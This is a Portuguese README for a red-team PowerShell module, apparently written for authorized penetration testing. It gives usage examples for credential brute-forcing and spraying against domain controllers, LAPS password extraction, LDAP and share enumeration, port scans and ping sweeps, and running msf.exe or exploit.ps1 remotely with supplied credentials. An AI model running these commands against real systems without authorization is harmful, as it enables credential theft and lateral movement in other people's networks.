
Coleção de funções PowerShell que um Red Teamer pode usar em um engajamento
Coleção de funções PowerShell que um Red Teamer pode usar para coletar dados de uma máquina ou obter acesso a um alvo. Adicionei arquivos ps1 para os comandos incluídos no módulo RedTeamEnum. Isso permitirá que você encontre e use facilmente apenas um comando, se for tudo o que deseja. Se quiser o módulo inteiro, execute as seguintes ações após baixar o diretório RedTeamEnum e seu conteúdo para o seu dispositivo.
C:\PS> robocopy .\RedTeamEnum $env:USERPROFILE\Documents\WindowsPowerShell\Modules\RedTeamEnum *
# Isso copiará o módulo para um local que permite importá-lo facilmente. Se você estiver usando a sincronização do OneDrive, pode ser necessário usar $env:USERPROFILE\OneDrive\Documents\WindowsPowerShell\Modules\RedTeamEnum.
C:\PS> Import-Module -Name RedTeamEnum -Verbose
# Isso importará todos os comandos do módulo.
C:\PS> Get-Command -Module RedTeamEnum
# Isso listará todos os comandos do módulo.
C:\PS> Convert-Base64 -Value "Convert me to base64!" -Encode
C:\PS> Convert-Base64 -Value "Q29udmVydCBtZSB0byBiYXNlNjQh" -Decode
C:\PS> Convert-StringToHash -String "Convert me to base64!"
C:\PS> Convert-StringToHash -String "Password123" -Encoding UTF8 -Algorithm MD5
# Ambos os exemplos acima convertem a string Password123 para um valor hash MD5
C:\PS> Convert-SID -Username tobor
# O exemplo acima converte o valor SID de tobor
C:\PS> Convert-SID -SID S-1-5-21-2860287465-2011404039-792856344-500
# O valor acima converte o valor SID para o nome de usuário associado
C:\PS> Test-BruteForceZipPassword -PassFile 'C:\Users\USER\Downloads\Applications\pass.txt' -Path 'C:\Users\USER\Downloads\Applications\KiTTY.7z' -ZipExe 'C:\Program Files\7-Zip\7z.exe'
# Este exemplo usa as senhas no arquivo pass.txt para quebrar a senha do arquivo KiTTY.7z protegido
C:\PS> Test-BruteForceCredentials -ComputerName DC01.domain.com -UseSSL -Username 'admin','administrator' -Passwd 'Password123!' -SleepMinutes 5
# Este exemplo testará a única senha definida contra os usuários admin e administrator no computador remoto DC01.domain.com usando WinRM sobre HTTPS com um intervalo de 5 minutos entre cada tentativa
C:\PS> Test-BruteForceCredentials -ComputerName File.domain.com -UserFile C:\Temp\users.txt -PassFile C:\Temp\rockyou.txt
# Este exemplo testará cada senha em rockyou.txt contra cada nome de usuário no arquivo users.txt sem pausa entre as tentativas
C:\PS> Get-LdapInfo -Detailed -SPNNamedObjects -Domain domain.com -Credential (Get-Credential)
# O exemplo acima retorna todas as propriedades dos objetos retornados em domain.com
#
C:\PS> Get-LdapInfo -DomainControllers | Select-Object -Property 'Name','ms-Mcs-AdmPwd'
# Se executado como administrador, isso retornará a senha LAPS para a conta de administrador local
#
C:\PS> Get-LdapInfo -ListUsers | Where-Object -Property SamAccountName -like "user.samname"
# NOTA: Se você incluir o switch "-Detailed" e canalizar a saída para Where-Object, ele não retornará nenhuma propriedade. Se desejar exibir todas as propriedades do seu resultado, isso precisará ser feito usando o formato abaixo
#
C:\PS> Get-LdapInfo -AllServers | Where-Object -Property LogonCount -gt 1 | Select-Object -Property *
C:\PS> Get-NetworkShareInfo -ShareName C$
# O exemplo acima retorna informações sobre o compartilhamento C$ na máquina local
#RESULTADOS
Name : C$
InstallDate :
Description : Default share
Path : C:\
ComputerName : TOBORDESKTOP
Status : OK
C:\PS> Get-NetworkShareInfo -ShareName NETLOGON,SYSVOL,C$ -ComputerName DC01.domain.com, DC02.domain.com, 10.10.10.1
# O exemplo acima descobre e retorna informações sobre NETLOGON, SYSVOL e C$ nos 3 dispositivos remotos DC01, DC02 e 10.10.10.1
C:\PS> Test-PrivEsc
C:\PS> Get-InitialEnum
C:\PS> Start-SimpleHTTPServer
Abrir servidor HTTP na porta 8000
#OU
C:\PS> Start-SimpleHTTPServer -Port 80
# Abrir servidor HTTP na porta 80
C:\PS> Invoke-PortScan -IpAddress 192.168.0.1
C:\PS> Invoke-PingSweep -Subnet 192.168.1.0 -Start 192 -End 224 -Source Singular
# NOTA: O parâmetro Source só funciona se o valor de IP Source Routing for "Yes"
C:\PS> Invoke-PingSweep -Subnet 10.0.0.0 -Start 1 -End 20 -Count 2
# O valor padrão para Count é 1
C:\PS> Invoke-PingSweep -Subnet 172.16.0.0 -Start 64 -End 128 -Count 3 -Source Multiple
# O comando abaixo usará as credenciais inseridas para abrir o executável msf.exe como o usuário tobor
C:\PS> Invoke-UseCreds -Username 'OsbornePro\tobor' -Passwd 'P@ssw0rd1' -Path .\msf.exe -Verbose
Este cmdlet também pode ser usado para executar arquivos localizados em sua máquina local e executá-los em uma máquina remota
# O comando abaixo usará as credenciais inseridas para abrir o executável exploit.ps1 como o usuário tobor em DC01 e DC02 usando WinRM
C:\PS> Invoke-UseCreds -Username 'OsbornePro\tobor' -Passwd 'P@ssw0rd1' -Path .\exploit.ps1 -ComputerName "DC01.domain.com","DC02.domain.com"